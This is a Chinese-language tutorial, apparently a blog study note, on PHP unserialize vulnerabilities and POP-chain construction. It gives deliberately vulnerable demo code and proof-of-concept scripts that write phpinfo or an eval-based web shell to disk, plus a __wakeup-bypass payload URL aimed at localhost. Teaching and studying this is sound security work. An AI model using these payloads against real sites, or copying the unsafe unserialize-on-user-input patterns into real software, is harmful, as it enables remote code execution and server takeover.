参考文献:http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/
http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/
1.序列化概念:
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
1.1 一个序列化的简单例子1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
class test
{
public $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
echo $data;
file_put_contents('serialize.txt', $data);
?>
当$flag为public
类型时,输出:O:4:"test":1:{s:4:"flag";s:6:"Active";}
当$flag为private
类型时,输出O:4:"test":1:{s:10:"testflag";s:6:"Active";}
;
当$flag为protected
类型时,输出O:4:"test":1:{s:7:"*flag";s:6:"Active";}
Ps:对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上``。这些前缀值在任一侧都有空字节*
1.2 PHP序列化格式:1
2O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}
1.3 类型字母详解:1
2
3
4
5
6a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
1.4 magic函数:
命名是以符号__开头的(php中存在一些特殊的类成员在某些特定情况下会自动调用)。1
2
3
4
5
6
7
8
9
10
11
12
13
14__construct当一个对象创建时被调用,
__destruct当一个对象销毁时被调用,
__toString当一个对象被当作一个字符串被调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__invoke() //当脚本尝试将对象调用为函数时触发
2.PHP反序列化与POP链
- 当反序列化参数可控时,可能会产生PHP反序列化漏洞。
- 在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程”,面向对象编程从一定程度上来说,就是完成类与类之间的调用。POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”
- 在PHP中,“组件”就是上面提到的
magic函数
(__wakeup()或__destruct
)
2.1 几个可用的POP链方法
1 | 命令执行:exec() passthru() popen() system() |
2.1.1POP链的示例1
2
3
4
5
6
7
8
9
10
11
12
13
14#shm1.php
<?php
class popdemo{
private $data = "demo\n";
private $filename = './demo';
public function __wakeup(){
$this->save($this->filename);
}
public function save($filename){
file_put_contents($filename, $this->data);
}
}
unserialize(file_get_contents('./serialized.txt));
?>
该文件定义了一个 popdemo 类,该类实现了__wakeup 函数
,然后在该函数中又调用了save函数
,且参数对象是文件名。跟进save函数
,在此函数中通过调用file_put_contents函数
,这个函数的$filename
和data
属性值是从save函数
中传出来的,并且创建了一个文件。__wakeup()函数
在序列化时自动调用,这里还定义了一个保存文件的函数,在这个反序列化过程中对象的属性值可控。于是这里就存在一个任意文件写入任意文件内容的反序列化漏洞了。
- 利用POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#shm.php
<?php
class popdemo
{
private $data = "<?php phpinfo();?>\n";
private $filename = './poc.php';
public function __wakeup(){
$this->save($this->filename);
}
public function save($filename){
file_put_contents($filename, $this->data);
}
}
$demo = new popdemo();
echo serialize($demo);
file_put_contents("./serialized.txt",serialize($demo));
?>
先运行poc代码,然后运行测试代码,会在同目录下生成一个poc.php
3.反序列化漏洞的利用
3.1 利用构造函数
php在使用unserialize()
后会导致__wakeup()
或__destruct()
的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()
或__destruct()
中,从而当我们控制序列化字符串时可以去直接触发它们。
1 | <?php |
代码主要是通过get方法通过test传入序列化好的字符串,然后在反序列化的时候自动调用wakeup()函数,在wakeup()函数中通过new pocdemo()会自动调用对象pocdemo中的__construct(),从而把<?php phpinfo(); ?>写入到shell.php中。
- poc代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<?php
class pocdemo{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class l1nk3r{
var $test = '<?php phpinfo(); ?>';
function __wakeup(){
$obj = new pocdemo($this->test);
}
}$ser = new l1nk3r();
$result = serialize($ser);
print $result;
file_put_contents('./ser.txt',$result);
?>
跟上面的利用方式一样,运行poc代码后,运行demo代码。则<?php phpinfo(); ?>
写入到shell.php
中
3.2 利用普通成员方法
在反序列化的时候,当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
class l1nk3r {
var $test;
function __construct() {
$this->test = new CodeMonster();
}
function __destruct() {
$this->test->action();
}
}
class CodeMonster {
function action() {
echo "CodeMonster";
}
}
class CodeMonster1 {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new l1nk3r();
unserialize($_GET['test']);
?>
此代码通过new 实例化一个新的l1nk3r对象后,调用__construct()
,其中该函数又new了一个新的CodeMonster对象
;这个对象的功能是定义了action()
,并且打印CodeMonster。然后结束的时候调用__destruct()
,在__destruct()
会调用action()
,因此页面会输出CodeMonster。
在代码中,可看到codermaster1对象中有一个eval()
,刚刚在l1nk3r对象
中,new的是CodeMonster,如果new的是CodeMonster1,那么自然就会进入CodeMonster1中,然后eval()函数中的$test2可控制,那么自然就可以实现远程代码执行了
- poc代码
1
2
3
4
5
6
7
8
9
10
11
12
13<?php
class l1nk3r {
var $test;
function __construct() {
$this->test = new CodeMonster1();
}
}
class CodeMonster1 {
var $test2='phpinfo();';
}
$class = new l1nk3r();
print_r(serialize($class));
?>
得到O:6:"l1nk3r":1:{s:4:"test";O:12:"CodeMonster1":1:{s:5:"test2";s:10:"phpinfo();";}}
4.反序列化漏洞的挖掘
4.1漏洞发现技巧
找PHP链的基本思路.
在各大流行的包中搜索
__wakeup()
和__destruct()
函数.
追踪调用过程
手工构造 并验证 POP 链
开发一个应用使用该库和自动加载机制,来测试exploit.
4.2 构造exploit的思路
寻找可能存在漏洞的应用
在他所使用的库中寻找 POP gadgets
在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
将序列化之后的payload发送到有漏洞web应用中进行测试.
5.反序列化需注意的点
①.当成员属性数目大于实际数目时可绕过__wakeup()
//PHP版本为PHP5小于5.6.25或PHP7小于7.0.10
②.CTF中成员属性数目前面多一个 +
,可以绕过正则。
③.protected和private属性会产生一些浏览器看不见的字符。
- 一个简单的例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);
需要再反序列化的时候绕过__wakeup以达到写文件的操作
- poc代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
class Test
{
.......
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$a = new Test('shell');
$poc = serialize($a);
print($poc);
运行poc得到O:4:"Test":1:{s:9:" Test poc";s:5:"shell";}
运行payload:(将1改为大于1的任何整数,将Testpoc改为%00Test%00poc)http://localhost/shm.php?poc=O:4:"Test":2:{s:9:"%00Test%00poc";s:5:"shell";}
写入文件操作成功。